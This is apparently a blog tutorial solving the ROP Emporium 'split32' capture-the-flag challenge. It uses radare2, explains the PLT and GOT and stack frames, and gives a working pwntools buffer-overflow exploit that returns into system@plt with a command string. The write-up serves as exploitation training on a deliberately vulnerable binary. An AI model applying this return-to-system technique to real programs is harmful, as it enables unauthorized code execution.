ROP Emporium challenges with Radare2 and pwntools.
Last time in Ropping to Victory we went over the basics of Return Oriented Programming using Radare2 and pwntools. We completed the 32-bit ret2win challenge, an easy start given we already had a function that did everything for us, and we just had to call it.
This time we'll be looking at the 32-bit split challenge, this one is a little more difficult as the various bits and pieces we need are split up as opposed to being perfectly set up in one function for us. We'll skip some of the more basic steps from last time, but feel free to refer back if needed.
Binary Analysis
Like last time, let's start out by taking a look at the file in radare2. We can run the i
command to get information about a binary:
[0x08048480]> i blksz 0x0 block 0x100 fd 3 file split32 format elf iorw false mode -r-x size 0x1e40 humansz 7.6K type EXEC (Executable file) arch x86 binsz 6504 bintype elf bits 32 canary false class ELF32 crypto false endian little havecode true intrp /lib/ld-linux.so.2 lang c linenum true lsyms true machine Intel 80386 maxopsz 16 minopsz 1 nx true os linux pcalign 0 pic false relocs true relro partial rpath NONE static false stripped false subsys linux va true
There's a lot of useful information here, but let's note in particular that pic (position-independent-code) is disabled (also known as PIE or ASLR) and we do have the no-execute bit set (nx).
NX means that the stack will not be executable, which is what we expect, this is a ROP challenge so if we could just dump shellcode on the stack and execute it it would defeat the purpose of the challenge! Having PIC disabled means that our binary will not be loaded into memory at a random offset, so any memory addresses we find we can safely re-use.
Note however that most modern day operating systems have PIC enabled by default so the addresses of items in linked libraries, such as system in libc will be randomised.
Let's have a look at what functions are available:
[0x08048480]> afl 0x080483c0 3 35 sym._init 0x08048400 1 6 sym.imp.printf 0x08048410 1 6 sym.imp.fgets 0x08048420 1 6 sym.imp.puts 0x08048430 1 6 sym.imp.system 0x08048440 1 6 sym.imp.__libc_start_main 0x08048450 1 6 sym.imp.setvbuf 0x08048460 1 6 sym.imp.memset 0x08048470 1 6 sub.__gmon_start_470 0x08048480 1 33 entry0 0x080484b0 1 4 sym.__x86.get_pc_thunk.bx 0x080484c0 4 43 sym.deregister_tm_clones 0x080484f0 4 53 sym.register_tm_clones 0x08048530 3 30 sym.__do_global_dtors_aux 0x08048550 4 43 -> 40 entry1.init 0x0804857b 1 123 sym.main 0x080485f6 1 83 sym.pwnme 0x08048649 1 25 sym.usefulFunction 0x08048670 4 93 sym.__libc_csu_init 0x080486d0 1 2 sym.__libc_csu_fini 0x080486d4 1 20 sym._fini [0x08048480]>
This looks similar to last time, we have a pwnme function and a usefulFunction.
Looking at the main function again we see that it just prints some stuff and calls pwnme, similar to last time. Let's take a closer look at this pwnme function.
[0x08048480]> pdf @ sym.pwnme / (fcn) sym.pwnme 83 | sym.pwnme (); | ; var int local_28h @ ebp-0x28 | ; CALL XREF from 0x080485d4 (sym.main) | 0x080485f6 55 push ebp | 0x080485f7 89e5 mov ebp, esp | 0x080485f9 83ec28 sub esp, 0x28 ; '(' | 0x080485fc 83ec04 sub esp, 4 | 0x080485ff 6a20 push 0x20 ; 32 | 0x08048601 6a00 push 0 ; size_t n | 0x08048603 8d45d8 lea eax, dword [local_28h] | 0x08048606 50 push eax ; int c | 0x08048607 e854feffff call sym.imp.memset ; void *memset(void *s, int c, size_t n) | 0x0804860c 83c410 add esp, 0x10 | 0x0804860f 83ec0c sub esp, 0xc | 0x08048612 6818870408 push str.Contriving_a_reason_to_ask_user_for_data... ; 0x8048718 ; "Contriving a reason to ask user for data..." ; const char * s | 0x08048617 e804feffff call sym.imp.puts ; int puts(const char *s) | 0x0804861c 83c410 add esp, 0x10 | 0x0804861f 83ec0c sub esp, 0xc | 0x08048622 6844870408 push 0x8048744 ; const char * format | 0x08048627 e8d4fdffff call sym.imp.printf ; int printf(const char *format) | 0x0804862c 83c410 add esp, 0x10 | 0x0804862f a180a00408 mov eax, dword [obj.stdin] ; [0x804a080:4]=0 | 0x08048634 83ec04 sub esp, 4 | 0x08048637 50 push eax | 0x08048638 6a60 push 0x60 ; '`' ; 96 | 0x0804863a 8d45d8 lea eax, dword [local_28h] | 0x0804863d 50 push eax ; char *s | 0x0804863e e8cdfdffff call sym.imp.fgets ; char *fgets(char *s, int size, FILE *stream) | 0x08048643 83c410 add esp, 0x10 | 0x08048646 90 nop | 0x08048647 c9 leave \ 0x08048648 c3 ret [0x08048480]>
This also looks pretty similar to last time. We can see that 0x20 (32) bytes get zeroed out in a call to memset for the local_28h variable, and then this variable has 0x60 (96) bytes written to it using fgets, another buffer overflow found!
Visual Mode
Let's enter Visual Mode in Radare2 and rename this variable, in case we come back to this function later.
Visual mode is a great tool in Radare2 that adds a sort of Text User Interface for analysing the code. To enter Visual Mode, we can use V
, and we'll be presented with something similar to the following (albeit with colour highlighting!).
[0x08048480 14% 3024 split32]> xc @ entry0
- offset - | 0 1 2 3 4 5 6 7 8 9 A B C D E F| 0123456789ABCDEF comment
0x08048480 |31ed 5e89 e183 e4f0 5054 5268 d086 0408| 1.^.....PTRh.... ; [14] --r-x section size 594 named .text
0x08048490 |6870 8604 0851 5668 7b85 0408 e89f ffff| hp...QVh{....... ; void * stack_end ; int argc
0x080484a0 |fff4 6690 6690 6690 6690 6690 6690 6690| ..f.f.f.f.f.f.f.
0x080484b0 |8b1c 24c3 6690 6690 6690 6690 6690 6690| ..$.f.f.f.f.f.f.
0x080484c0 |b84f a004 082d 4ca0 0408 83f8 0676 1ab8| .O...-L......v..
0x080484d0 |0000 0000 85c0 7411 5589 e583 ec14 684c| ......t.U.....hL
0x080484e0 |a004 08ff d083 c410 c9f3 c390 8d74 2600| .............t&.
0x080484f0 |b84c a004 082d 4ca0 0408 c1f8 0289 c2c1| .L...-L.........
0x08048500 |ea1f 01d0 d1f8 741b ba00 0000 0085 d274| ......t........t
0x08048510 |1255 89e5 83ec 1050 684c a004 08ff d283| .U.....PhL......
0x08048520 |c410 c9f3 c38d 7426 008d bc27 0000 0000| ......t&...'....
0x08048530 |803d 88a0 0408 0075 1355 89e5 83ec 08e8| .=.....u.U......
0x08048540 |7cff ffff c605 88a0 0408 01c9 f3c3 6690| |.............f.
0x08048550 |b810 9f04 088b 1085 d275 05eb 938d 7600| .........u....v.
0x08048560 |ba00 0000 0085 d274 f255 89e5 83ec 1450| .......t.U.....P
0x08048570 |ffd2 83c4 10c9 e975 ffff ff8d 4c24 0483| .......u....L$..
0x08048580 |e4f0 ff71 fc55 89e5 5183 ec04 a184 a004| ...q.U..Q.......
0x08048590 |086a 006a 026a 0050 e8b3 feff ff83 c410| .j.j.j.P........ ; size_t size ; int mode
0x080485a0 |a160 a004 086a 006a 026a 0050 e89f feff| .`...j.j.j.P.... ; size_t size ; int mode
0x080485b0 |ff83 c410 83ec 0c68 f086 0408 e85f feff| .......h....._.. ; const char * s
0x080485c0 |ff83 c410 83ec 0c68 0687 0408 e84f feff| .......h.....O.. ; const char * s
0x080485d0 |ff83 c410 e81d 0000 0083 ec0c 680e 8704| ............h... ; const char * s
0x080485e0 |08e8 3afe ffff 83c4 10b8 0000 0000 8b4d| ..:............M
0x080485f0 |fcc9 8d61 fcc3 5589 e583 ec28 83ec 046a| ...a..U....(...j
0x08048600 |206a 008d 45d8 50e8 54fe ffff 83c4 1083| j..E.P.T....... ; size_t n ; int c
0x08048610 |ec0c 6818 8704 08e8 04fe ffff 83c4 1083| ..h............. ; const char * s
0x08048620 |ec0c 6844 8704 08e8 d4fd ffff 83c4 10a1| ..hD............ ; const char * format
0x08048630 |80a0 0408 83ec 0450 6a60 8d45 d850 e8cd| .......Pj`.E.P.. ; char *s
0x08048640 |fdff ff83 c410 90c9 c355 89e5 83ec 0883| .........U......
0x08048650 |ec0c 6847 8704 08e8 d4fd ffff 83c4 1090| ..hG............ ; const char * string
0x08048660 |c9c3 6690 6690 6690 6690 6690 6690 6690| ..f.f.f.f.f.f.f.
0x08048670 |5557 5653 e837 feff ff81 c387 1900 0083| UWVS.7..........
0x08048680 |ec0c 8b6c 2420 8db3 0cff ffff e82f fdff| ...l$ ......./..
0x08048690 |ff8d 8308 ffff ff29 c6c1 fe02 85f6 7425| .......)......t%
This is Visual Mode. We have the memory addresses on the left and a hexdump on the right. We can cycle through the various Visual Mode panels using p
and P
, and quit at any time back to 'command mode' by hitting q
.
Let's cycle through the panels until we hit the Disassembly panel, which should be the next screen by default.
[0x08048480 14% 864 split32]> pd $r @ entry0
;-- section..text:
;-- eip:
/ (fcn) entry0 33
| entry0 ();
| 0x08048480 31ed xor ebp, ebp ; [14] --r-x section size 594 named .text
| 0x08048482 5e pop esi
| 0x08048483 89e1 mov ecx, esp
| 0x08048485 83e4f0 and esp, 0xfffffff0
| 0x08048488 50 push eax
| 0x08048489 54 push esp
| 0x0804848a 52 push edx
| 0x0804848b 68d0860408 push sym.__libc_csu_fini ; 0x80486d0
| 0x08048490 6870860408 push sym.__libc_csu_init ; 0x8048670 ; "UWVS\xe87\xfe\xff\xff\x81\u00c7\x19"
| 0x08048495 51 push ecx
| 0x08048496 56 push esi ; void * stack_end
| 0x08048497 687b850408 push sym.main ; 0x804857b ; int argc
\ 0x0804849c e89fffffff call sym.imp.__libc_start_main ;[1] ; int __libc_start_main(func main, int argc, char **ubp_av, func init, func fini, func rtld_fini, void *stack_end)
0x080484a1 f4 hlt
0x080484a2 6690 nop
0x080484a4 6690 nop
0x080484a6 6690 nop
0x080484a8 6690 nop
0x080484aa 6690 nop
0x080484ac 6690 nop
0x080484ae 6690 nop
/ (fcn) sym.__x86.get_pc_thunk.bx 4
| sym.__x86.get_pc_thunk.bx ();
| ; CALL XREF from 0x080486d8 (sym._fini)
| ; CALL XREF from 0x08048674 (sym.__libc_csu_init)
| ; CALL XREF from 0x080483c4 (sym._init)
| 0x080484b0 8b1c24 mov ebx, dword [esp]
\ 0x080484b3 c3 ret
0x080484b4 6690 nop
0x080484b6 6690 nop
0x080484b8 6690 nop
0x080484ba 6690 nop
0x080484bc 6690 nop
0x080484be 6690 nop
We now see the disassembled entry0 function, as this is the default entry point and we've not seeked to anywhere else.
Let's navigate to our pwnme function, first by hitting v
, then scrolling to pwnme and then hitting g
to "go". We can then hit c
for "cursor" mode and scrolling around the disassembled pwnme function using the arrow keys (or vim's hjkl if preferred).
[0x080485f6 19% 270 (0xd:-1=1)]> pd $r @ sym.pwnme+13 # 0x8048603
/ (fcn) sym.pwnme 83
| sym.pwnme ();
| ; var int local_28h @ ebp-0x28
| ; CALL XREF from 0x080485d4 (sym.main)
| 0x080485f6 55 push ebp
| 0x080485f7 89e5 mov ebp, esp
| 0x080485f9 83ec28 sub esp, 0x28 ; '('
| 0x080485fc 83ec04 sub esp, 4
| 0x080485ff 6a20 push 0x20 ; 32
| 0x08048601 6a00 push 0 ; size_t n
| 0x08048603 * 8d45d8 lea eax, dword [local_28h]
| 0x08048606 50 push eax ; int c
| 0x08048607 e854feffff call sym.imp.memset ;[1] ; void *memset(void *s, int c, size_t n)
| 0x0804860c 83c410 add esp, 0x10
| 0x0804860f 83ec0c sub esp, 0xc
| 0x08048612 6818870408 push str.Contriving_a_reason_to_ask_user_for_data... ; 0x8048718 ; "Contriving a reason to ask user for data..." ; const char * s
| 0x08048617 e804feffff call sym.imp.puts ;[2] ; int puts(const char *s)
| 0x0804861c 83c410 add esp, 0x10
| 0x0804861f 83ec0c sub esp, 0xc
| 0x08048622 6844870408 push 0x8048744 ; const char * format
| 0x08048627 e8d4fdffff call sym.imp.printf ;[3] ; int printf(const char *format)
| 0x0804862c 83c410 add esp, 0x10
| 0x0804862f a180a00408 mov eax, dword [obj.stdin] ; [0x804a080:4]=0
| 0x08048634 83ec04 sub esp, 4
| 0x08048637 50 push eax
| 0x08048638 6a60 push 0x60 ; '`' ; 96
| 0x0804863a 8d45d8 lea eax, dword [local_28h]
| 0x0804863d 50 push eax ; char *s
| 0x0804863e e8cdfdffff call sym.imp.fgets ;[4] ; char *fgets(char *s, int size, FILE *stream)
| 0x08048643 83c410 add esp, 0x10
| 0x08048646 90 nop
| 0x08048647 c9 leave
\ 0x08048648 c3 ret
We've scrolled down to the first instance of our local_28h variable. We can rename this flag in Radare2 by hitting d
(for "define") and then choosing the rename flag option, n
.
Let's rename it to user_input and hit Enter, then hit ;
to add a comment for that line and detail that it's overflowable.
Once we're done, we can see things look that little bit clearer:
[0x080485f6 19% 270 (0xd:-1=1)]> pd $r @ sym.pwnme+13 # 0x8048603 / (fcn) sym.pwnme 83 | sym.pwnme (); | ; var int user_input @ ebp-0x28 | ; CALL XREF from 0x080485d4 (sym.main) | 0x080485f6 55 push ebp | 0x080485f7 89e5 mov ebp, esp | 0x080485f9 83ec28 sub esp, 0x28 ; '(' | 0x080485fc 83ec04 sub esp, 4 | 0x080485ff 6a20 push 0x20 ; 32 | 0x08048601 6a00 push 0 ; size_t n | 0x08048603 * 8d45d8 lea eax, dword [user_input] ; this buffer is overflowable! | 0x08048606 50 push eax ; int c | 0x08048607 e854feffff call sym.imp.memset ;[1] ; void *memset(void *s, int c, size_t n) | 0x0804860c 83c410 add esp, 0x10 | 0x0804860f 83ec0c sub esp, 0xc | 0x08048612 6818870408 push str.Contriving_a_reason_to_ask_user_for_data... ; 0x8048718 ; "Contriving a reason to ask user for data..." ; const char * s | 0x08048617 e804feffff call sym.imp.puts ;[2] ; int puts(const char *s) | 0x0804861c 83c410 add esp, 0x10 | 0x0804861f 83ec0c sub esp, 0xc | 0x08048622 6844870408 push 0x8048744 ; const char * format | 0x08048627 e8d4fdffff call sym.imp.printf ;[3] ; int printf(const char *format) | 0x0804862c 83c410 add esp, 0x10 | 0x0804862f a180a00408 mov eax, dword [obj.stdin] ; [0x804a080:4]=0 | 0x08048634 83ec04 sub esp, 4 | 0x08048637 50 push eax | 0x08048638 6a60 push 0x60 ; '`' ; 96 | 0x0804863a 8d45d8 lea eax, dword [user_input] | 0x0804863d 50 push eax ; char *s | 0x0804863e e8cdfdffff call sym.imp.fgets ;[4] ; char *fgets(char *s, int size, FILE *stream) | 0x08048643 83c410 add esp, 0x10 | 0x08048646 90 nop | 0x08048647 c9 leave \ 0x08048648 c3 ret
Next let's take a look at the usefulFunction, and see what we have to work with for our exploit.
We navigate to this function in Visual Mode, in the same way as we did for pwnme, v
to list the functions, then g
to go to it.
[0x08048649 20% 270 (0x9:-1=1)]> pd $r @ sym.usefulFunction+9 # 0x8048652 / (fcn) sym.usefulFunction 25 | sym.usefulFunction (); | 0x08048649 55 push ebp | 0x0804864a 89e5 mov ebp, esp | 0x0804864c 83ec08 sub esp, 8 | 0x0804864f 83ec0c sub esp, 0xc | 0x08048652 * 6847870408 push str.bin_ls ; 0x8048747 ; "/bin/ls" ; const char * string | 0x08048657 e8d4fdffff call sym.imp.system ;[1] ; int system(const char *string) | 0x0804865c 83c410 add esp, 0x10 | 0x0804865f 90 nop | 0x08048660 c9 leave \ 0x08048661 c3 ret
We can see that we have our system call again, much like last time, however the command being executed isn't showing us our flag but just invoking /bin/ls to list the files in the current directory.
Let's have a look at what strings are available to us in the binary. To do this, we use the iz
command to list all strings in the data sections, or izz
to list all strings in the binary. However this is a none-Visual Mode command, so to execute it from Visual Mode we hit :
, then enter the command. This is a little bit easier than quitting out to command mode, then re-entering Visual Mode and finding where we were.
We check just the data sections first, as this is the section where strings used by the binary are normally stored.
Press <enter> to return to Visual mode.(sym.__libc_csu_init) :> iz 000 0x000006f0 0x080486f0 21 22 (.rodata) ascii split by ROP Emporium 001 0x00000706 0x08048706 7 8 (.rodata) ascii 32bits\n 002 0x0000070e 0x0804870e 8 9 (.rodata) ascii \nExiting 003 0x00000718 0x08048718 43 44 (.rodata) ascii Contriving a reason to ask user for data... 004 0x00000747 0x08048747 7 8 (.rodata) ascii /bin/ls 000 0x00001030 0x0804a030 17 18 (.data) ascii /bin/cat flag.txt :>
Aha! We spot a string we can use at another location in memory. /bin/cat flag.txt is the same command as in ret2win, which should just print our flag value to the screen for us.
We have the pieces we need, let's set about exploiting this thing.
Exploitation
Let's create our pwntools script in the same way as last time, and use pwn.cyclic to determine the offset to EIP.
#!/usr/bin/env python2
import pwn
t = pwn.process("./split32")
gdb_cmd = [
'c'
]
pwn.gdb.attach(t, gdbscript = '\n'.join(gdb_cmd))
buf = pwn.cyclic(60, n = 4)
t.recvuntil('\n>')
t.sendline(buf)
t.interactive()
The process crashes, as expected, and we find that the EIP overflow occurs at "laaa".
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]──── [#0] Id 1, Name: "split32", stopped, reason: STOPPED ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]──── [#0] 0xf7f6c059 → Name: __kernel_vsyscall() [#1] 0xf7e4e7d7 → Name: read() [#2] 0xf7ddb798 → Name: _IO_file_underflow() [#3] 0xf7ddc8ab → Name: _IO_default_uflow() [#4] 0xf7dcf871 → Name: _IO_getline_info() [#5] 0xf7dcf9be → Name: _IO_getline() [#6] 0xf7dce7a9 → Name: fgets() [#7] 0x8048643 → Name: pwnme() [#8] 0x80485d9 → Name: main() ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── 0xf7f6c059 in __kernel_vsyscall () Program received signal SIGSEGV, Segmentation fault. [ Legend: Modified register | Code | Heap | Stack | String ] ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]──── $eax : 0xffa32570 → "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama[...]" $ebx : 0x00000000 $ecx : 0xf7f3f89c → 0x00000000 $edx : 0xffa32570 → "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama[...]" $esp : 0xffa325a0 → "maaanaaaoaaa" $ebp : 0x6161616b ("kaaa"?) $esi : 0xf7f3e000 → 0x001d4d6c ("lM"?) $edi : 0x00000000 $eip : 0x6161616c ("laaa"?) $eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification] $ss: 0x002b $gs: 0x0063 $cs: 0x0023 $ds: 0x002b $es: 0x002b $fs: 0x0000 ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]──── 0xffa325a0│+0x00: "maaanaaaoaaa" ← $esp 0xffa325a4│+0x04: "naaaoaaa" 0xffa325a8│+0x08: "oaaa" 0xffa325ac│+0x0c: 0xf7d8000a → 0x41600000 0xffa325b0│+0x10: 0xf7f3e000 → 0x001d4d6c ("lM"?) 0xffa325b4│+0x14: 0xf7f3e000 → 0x001d4d6c ("lM"?) 0xffa325b8│+0x18: 0x00000000 0xffa325bc│+0x1c: 0xf7d81e81 → <__libc_start_main+241> add esp, 0x10 ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386 ]──── [!] Cannot disassemble from $PC [!] Cannot access memory at address 0x6161616c ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]──── [#0] Id 1, Name: "split32", stopped, reason: SIGSEGV ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]──── ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── 0x6161616c in ?? () gef➤
Now that we know our offset, we can start building our ROP chain.
We don't have a function to call this time that will just do everything for us. Instead, we're going to have to "ret" to system directly, and set up the chain to pass the /bin/cat flag.txt string instead of /bin/ls.
Now we know that we can't just invoke system in libc directly, as ASLR is enabled so its address will keep changing every time we run the executable.
We can confirm this from the command line using ldd
. This command will print the linked library dependencies of an executable and their memory addresses. We can note that if we run it several times, the base memory address of the linked libraries changes:
[email protected] split # ldd split32 linux-gate.so.1 (0xf7fa7000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7da5000) /lib/ld-linux.so.2 (0xf7fa9000) [email protected] split # ldd split32 linux-gate.so.1 (0xf7f3b000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d39000) /lib/ld-linux.so.2 (0xf7f3d000) [email protected] split # ldd split32 linux-gate.so.1 (0xf7f9f000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d9d000) /lib/ld-linux.so.2 (0xf7fa1000) [email protected] split #
The GOT and the PLT
So what can we do? Well, the problem we're having will also be encountered by the split32 binary, it has to be able to reference system in some way if it wants to invoke it, right?
The way it does this is through the magic of the Global Offset Table (GOT) and the Procedural Linkage Table (PLT). These are two sections of our split32 binary, as we can see by using objdump
to list the section headers of split32.
$ objdump -h split32 split32: file format elf32-i386 Sections: Idx Name Size VMA LMA File off Algn 0 .interp 00000013 08048154 08048154 00000154 2**0 CONTENTS, ALLOC, LOAD, READONLY, DATA 1 .note.ABI-tag 00000020 08048168 08048168 00000168 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 2 .note.gnu.build-id 00000024 08048188 08048188 00000188 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 3 .gnu.hash 00000030 080481ac 080481ac 000001ac 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 4 .dynsym 000000d0 080481dc 080481dc 000001dc 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 5 .dynstr 00000081 080482ac 080482ac 000002ac 2**0 CONTENTS, ALLOC, LOAD, READONLY, DATA 6 .gnu.version 0000001a 0804832e 0804832e 0000032e 2**1 CONTENTS, ALLOC, LOAD, READONLY, DATA 7 .gnu.version_r 00000020 08048348 08048348 00000348 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 8 .rel.dyn 00000020 08048368 08048368 00000368 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 9 .rel.plt 00000038 08048388 08048388 00000388 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 10 .init 00000023 080483c0 080483c0 000003c0 2**2 CONTENTS, ALLOC, LOAD, READONLY, CODE 11 .plt 00000080 080483f0 080483f0 000003f0 2**4 CONTENTS, ALLOC, LOAD, READONLY, CODE 12 .plt.got 00000008 08048470 08048470 00000470 2**3 CONTENTS, ALLOC, LOAD, READONLY, CODE 13 .text 00000252 08048480 08048480 00000480 2**4 CONTENTS, ALLOC, LOAD, READONLY, CODE 14 .fini 00000014 080486d4 080486d4 000006d4 2**2 CONTENTS, ALLOC, LOAD, READONLY, CODE 15 .rodata 00000067 080486e8 080486e8 000006e8 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 16 .eh_frame_hdr 0000003c 08048750 08048750 00000750 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 17 .eh_frame 0000010c 0804878c 0804878c 0000078c 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 18 .init_array 00000004 08049f08 08049f08 00000f08 2**2 CONTENTS, ALLOC, LOAD, DATA 19 .fini_array 00000004 08049f0c 08049f0c 00000f0c 2**2 CONTENTS, ALLOC, LOAD, DATA 20 .jcr 00000004 08049f10 08049f10 00000f10 2**2 CONTENTS, ALLOC, LOAD, DATA 21 .dynamic 000000e8 08049f14 08049f14 00000f14 2**2 CONTENTS, ALLOC, LOAD, DATA 22 .got 00000004 08049ffc 08049ffc 00000ffc 2**2 CONTENTS, ALLOC, LOAD, DATA 23 .got.plt 00000028 0804a000 0804a000 00001000 2**2 CONTENTS, ALLOC, LOAD, DATA 24 .data 00000022 0804a028 0804a028 00001028 2**2 CONTENTS, ALLOC, LOAD, DATA 25 .bss 0000002c 0804a060 0804a060 0000104a 2**5 ALLOC 26 .comment 00000034 00000000 00000000 0000104a 2**0 CONTENTS, READONLY
Note that the GOT is writable.
The crux of how this works is that every imported function will be listed in the PLT, and the split32 code will point to that listing in the PLT. When that function is invoked, the PLT heads over to the GOT and tries to look up the actual address of the function. If it's the first time, the GOT redirects to the link loader library (ld-linux.so, which we saw earlier is imported when we used ldd) which goes and fetches the real address. The GOT will then save this value for all future calls to that function, which is why it needs to be writable.
We can see therefore easily see the imported functions of a binary by examining the PLT. Radare2 did this for us automatically, and we can see them in the initial function list. All the functions starting with 'sym.imp.' are imported functions, and we can see that this includes system as we expect.
0x08048400 1 6 sym.imp.printf 0x08048410 1 6 sym.imp.fgets 0x08048420 1 6 sym.imp.puts 0x08048430 1 6 sym.imp.system 0x08048440 1 6 sym.imp.__libc_start_main 0x08048450 1 6 sym.imp.setvbuf 0x08048460 1 6 sym.imp.memset ```
The addresses here are in the address space of our binary as they are in the PLT, and so are not subject to ASLR. We can therefore just point to this address instead of the actual address of system as the binary would normally, and avoid having to deal with ASLR!
We note then that the address of the system import is 0x08048430 and we have to set up the chain so that it's called with 0x0804a030 as the argument, which is the address of /bin/cat flag.txt.
Setting up the stack frame
We're almost there. All we have to do is set up our chain so it looks like right to the processor.
Inside a function, everything is stored inside a stack frame on the stack. When a new function is called, a new stack frame is set up and "pushed" on top of the stack, and when that function completes its stack frame is "popped" back off, and the first function's stack frame is still there and is restored, putting everything back in place as it had been.
The anatomy of a stack frame is detailed in the below image.
(Note this image was taken from Gustavo Duarte's article on the stack, a great intro and recommended reading).
While all other sections in the binary start at a low-numbered address and end at an address with a higher number (like large houses on a street), the stack works in the opposite direction. This allows the stack and heap sections, which are both used to store dynamic data, to grow towards each other efficiently with no loss of space.
When a function is first invoked, it executes the function preamble where it saves the value of the ebp register and creates space for the local variables.
We can see this in the functions we have disassembled, for example at the top of pwnme:
| 0x080485f6 55 push ebp
| 0x080485f7 89e5 mov ebp, esp
| 0x080485f9 83ec28 sub esp, 0x28 ; '('
| 0x080485fc 83ec04 sub esp, 4
...snip...
Note that as the stack grows down, subtracting numbers from ESP (the stack pointer, which points to the end or top of the stack) is allocating more memory to the stack.
This means that the three values to the left to the image above are set up once we're in a function, and we don't have to worry about adding them to our ROP chain as we're setting up a call to a function before it's called.
Now when when writing into memory we write from low to high addresses as we expect. Comparing this to the diagram, this means we'll be "coming in from the left" and that when we overwrite the stack with our buffer overflow after EIP we want the return address of the next function we want to invoke, then the parameters to the current function we're calling.
As we don't want to invoke another function, we can just put four-bytes of rubbish and then our parameters.
After our function is invoked, it will look like our stack frame was set up with a return address and parameters that are actually controlled by us! It will then enter the function preamble and push EBP to the stack and create space for the local variables. This will overwrite part of our buffer overflow buffer, but in the direction we don't care about!
Our chain then will look like this:
#!/usr/bin/env python2
import pwn
t = pwn.process("./split32")
gdb_cmd = [
'c'
]
ptr_system_plt = 0x08048430
ptr_cat_flag_string = 0x0804a030
pwn.gdb.attach(t, gdbscript = '\n'.join(gdb_cmd))
offset = pwn.cyclic_find("laaa", n = 4)
buf = "A"*offset
buf += pwn.p32(ptr_system_plt)
buf += "BBBB"
buf += pwn.p32(ptr_cat_flag_string)
t.recvuntil('\n>')
t.sendline(buf)
t.interactive()
Here our chain is enough As to reach our offset, a 32-bit packed pointer to system in the PLT, a garbage return address of four Bs (as we don't care where it goes after we get our flag!) and then the 32-bit packed address of our cat-flag-string.
Let's run it!
[email protected] split # python pwn_redo.py [+] Starting local process './split32': pid 53952 [*] running in new terminal: /usr/bin/gdb -q "./split32" 53952 -x "/tmp/pwnKLrssb.gdb" [+] Waiting for debugger: Done [*] Switching to interactive mode ROPE{a_placeholder_32byte_flag!} [*] Got EOF while reading in interactive $
Huzzah! We got our flag! A job well done.
Summary
This was quite a lengthy post as we looked at ropemporium's second 32-bit challenge, split. We've picked up Visual Mode in radare2 in addition to a few other bits and pieces, and looked at how the binary resolves functions when ASLR is present on the host using the PLT and the GOT. Finally, we got to grips with stack frames and set up an exploit to invoke system, passing to it a string stored elsewhere in memory.
Next time we'll try the third challenge, callme, where we'll have to set up our first actual ROP chain, invoking multiple functions!